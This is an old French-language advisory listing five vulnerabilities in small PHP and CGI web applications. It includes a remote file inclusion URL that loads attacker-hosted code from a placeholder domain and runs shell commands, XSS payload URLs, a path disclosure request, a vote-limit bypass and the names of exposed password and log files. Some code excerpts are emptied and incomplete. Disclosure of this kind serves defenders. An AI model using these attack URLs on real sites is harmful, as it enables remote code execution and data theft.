5 holes, Part 5 *************** Intro : ******* Bonne lecture... Date : ****** 12/05/02 Services : ********** - Pseudo-frame - PG - KvPoll - Phorum - BanMat Developpements : **************** 1) Pseudo-frame ~~~~~~~~~~~~~~~ http://www.clicky-web.net Version : 1.0 Problème : - Inclusion de fichiers Developpement : Voici une faille assez impressionante =) Ici le code complet du fichier index.php : ----------------------------------------- ----------------------------------------- On peut donc définir nous même la page à inclure. Pour inclure http://www.haxor.com/file.php : http://www.site.com/index.php?page=http://www.haxor.com/file file.php contenant par exemple Et on executerais avec http://www.site.com/index.php?page=http://www.haxor.com/file&cmd=ls 2) PG ~~~~~ http://www.clicky-web.net Version : 1.0 Problèmes : - XSS - Path disclosure Developpement : On peut lire dans index.php : ------------------------------------------------------------------------------- if ($picture_n) { Picture_Count($base_serverpath."/".$gallery_name, $picture_n); $picturename_withpath = $base_dir."/".$gallery_name."/". $picture_n; echo ""; echo ""; echo "
... ------------------------------------------------------------------------------- $base_dir a une valeur par défaut, mais $gallery_name et $picture_n pas. Comme $picture_n ne doit pas être vide et qu'il est en find e code, c'est lui qu'on va utiliser pour faire l'url : index.php?picture_n="%20width=0> et le script sera executé. Dans fonctions-galleries.php, fichier inclut dans index.php, on peut voir : -------------------------------------------------------- if (file_exists("$gallery_path/statistics.txt")) { [...] } else { Error ("statistics file for $gallery_path is missing"); } -------------------------------------------------------- index.php?picture_n=image.gif&gallery_name=non-existant-path nous montrera le $gallery_path. 3) KvPoll ~~~~~~~~~ http://www.killervault.com Version : 1.1 Problème : - Contournement de la sécurité contre le double vote Developpement : Dans vote.php, la condition pour voter : ------------------------------------------- if(isset($already_voted)){ $pollsvoted=explode(":;:",$already_voted); if(in_array($pollid,$pollsvoted)){ $voted="yes"; } ------------------------------------------- On peut donc envoyer un cookie "already_voted" sur vote.php contenant n'importe quoi. Mais il y a plus simple. Voici le code de clear_cookies.php : ------------------------------------------- ------------------------------------------- Il suffit donc de visiter ce fichier pour pouvoir voter une fois de plus. 4) Phorum ~~~~~~~~~ http://phorum.org Version : 3.3.2a RC1 Problème : - XSS Developpement : Un XSS non-permanent et un permanent. Le non permanent se trouve à l'url : /read.php?f=1&i=1&t=1"> Le second se trouve dans l'ecriture de message. Si on ecrit un < ou un > dans l'email, dans le nom, dans le site ou dans le message, il sera remplacé par > ou < dans l'affichage du message. Mais il y a un formulaire de réponse, où les caracteres ne sont pas filtrés. Dans la source, on verra donc à la place de ce qui devrait être pour plus de sécurité : Si on inscrit donc "> dans l'email, le script sera executé. 5) BANNERMATIC ~~~~~~~~~~~~~~ http://www.getcruising.com Versions : 1 [uses Server-Side-Includes] 2 [is HTTP-Cookie-Powered] 3 [uses IP (Internet Protocol) Address] Problème : - Récuperation d'informations Developpement : Les 3 fichiers banmat1.cgi, banmat2.cgi et banmat3.cgi utilisent des fichiers pour stocker des informations. On pourra ainsi récuperer dans - ban.log : Des informations sur les visiteurs : HEUREDATE|SITEAVISITER|IP|REFERRER - ban.bak : Les urls enregistrées et leur numeros respectifs. - ban.dat : Les caracteristiques et informations sur les URL URL|URLIMAGE|URLTITLE|IMGTITLE|GROUP|DATE|sponsoremail| - banmat.pwd : Le password admin crypté. Greetz : ******** / Credits : ********* frog-m@n leselfrog@hotmail.com